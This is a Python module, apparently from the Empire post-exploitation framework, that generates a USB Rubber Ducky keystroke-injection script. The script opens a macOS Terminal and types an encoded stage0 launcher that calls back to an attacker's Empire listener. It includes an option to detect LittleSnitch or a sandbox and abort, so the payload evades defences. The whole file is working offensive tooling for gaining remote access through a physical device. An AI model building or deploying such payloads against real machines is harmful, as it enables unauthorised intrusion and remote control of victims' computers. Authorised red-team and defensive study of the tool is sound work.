from __future__ import print_function
from builtins import object
from lib.common import helpers

class Stager(object):

    def __init__(self, mainMenu, params=[]):

        self.info = {
            'Name': 'DuckyLauncher',

            'Author': ['@xorrior'],

            'Description': ('Generates a ducky script that runs a one-liner stage0 launcher for Empire.'),

            'Comments': [
                ''
            ]
        }

        # any options needed by the stager, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            'Listener' : {
                'Description'   :   'Listener to generate stager for.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'Language' : {
                'Description'   :   'Language of the stager to generate.',
                'Required'      :   True,
                'Value'         :   'python'
            },
            'SafeChecks' : {
                'Description'   :   'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
                'Required'      :   True,
                'Value'         :   'True'
            },
            'OutFile' : {
                'Description'   :   'File to output duckyscript to, otherwise displayed on the screen.',
                'Required'      :   False,
                'Value'         :   ''
            },
            'UserAgent' : {
                'Description'   :   'User-agent string to use for the staging request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            }
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        for param in params:
            # parameter format is [Name, Value]
            option, value = param
            if option in self.options:
                self.options[option]['Value'] = value


    def generate(self):

        # extract all of our options
        language = self.options['Language']['Value']
        listenerName = self.options['Listener']['Value']
        userAgent = self.options['UserAgent']['Value']
        safeChecks = self.options['SafeChecks']['Value']

        # generate the launcher code
        launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, safeChecks=safeChecks)
        
        if launcher == "":
            print(helpers.color("[!] Error in launcher command generation."))
            return ""
        else:
            
            duckyCode =  "DELAY 1000\n"
            duckyCode += "COMMAND SPACE\n"
            duckyCode += "DELAY 1000\n"
            duckyCode += "STRING TERMINAL\n"
            duckyCode += "ENTER \n"
            duckyCode += "DELAY 1000\n"
            duckyCode += "STRING "+launcher
            duckyCode += "\nENTER\n"
            duckyCode += "DELAY 1000\n"

            return duckyCode
